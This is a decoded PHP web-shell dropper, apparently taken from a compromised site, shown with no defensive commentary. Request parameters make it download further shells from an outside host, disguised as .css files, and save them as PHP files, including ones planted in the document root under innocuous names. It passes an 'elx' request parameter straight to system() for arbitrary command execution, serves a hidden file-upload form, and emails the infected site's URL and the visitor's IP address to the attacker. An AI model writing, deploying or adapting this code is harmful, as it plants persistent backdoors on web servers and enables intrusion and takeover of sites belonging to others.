PHP Decode

if(isset($_REQUEST['wso1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/wso.css');
$a1=curl_exec($x1);
$f1='wso.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['idb1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/in.css');
$a1=curl_exec($x1);
$f1='idb.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['dm1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/dm.css');
$a1=curl_exec($x1);
$f1='dm.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['beiz1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/beiz.css');
$a1=curl_exec($x1);
$f1='beiz.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['whm1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/whm.css');
$a1=curl_exec($x1);
$f1='whm.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['db1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'https://www.adminer.org/static/download/4.2.5/adminer-4.2.5-en.php');
$a1=curl_exec($x1);
$f1='db.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['tes1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/tes.css');
$a1=curl_exec($x1);
$f1='tes.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['cp1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/cp.css');
$a1=curl_exec($x1);
$f1='cp.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['idx1'])){
$x1=curl_init();
curl_setopt($x1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x1, CURLOPT_URL,'http://elro.wap.sh/idx.css');
$a1=curl_exec($x1);
$f1='id.php';
file_put_contents($f1,$a1,FILE_APPEND);
}
if(isset($_REQUEST['4041'])){
$x2 = curl_init();
curl_setopt($x2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($x2, CURLOPT_URL,'http://elro.wap.sh/404.css');
$a2=curl_exec($x2);
$f2='4041.php';
file_put_contents($f2,$a2,FILE_APPEND);
}

if(isset($_REQUEST['el51'])){
$x1= 'wget -c www.elro.wap.sh/idb.css';
system($x1);
$x2= 'wget -c www.elro.wap.sh/jw.css';
system($x2);
$x3= 'wget -c www.elro.wap.sh/dm.css';
system($x3);
$r1= 'mv idb.css '.$_SERVER["DOCUMENT_ROOT"].'/idb.html';
system($r1); 
$r2= 'mv jw.css '.$_SERVER["DOCUMENT_ROOT"].'/index_old.php';
system($r2);
$r3= 'mv dm.css '.$_SERVER["DOCUMENT_ROOT"].'/wp-inc.php';
system($r3); 
}

if(isset($_REQUEST['elx'])){
$el=$_REQUEST['elx'];
system($el);

}#';

error_reporting(0);
if($_GET['el']=="ro1"){
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Gagal :v</b><br><br>'; }
        else { echo '<b>Ancur</b><br><br>'; }}}

@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = '[email protected]';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "shell1", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");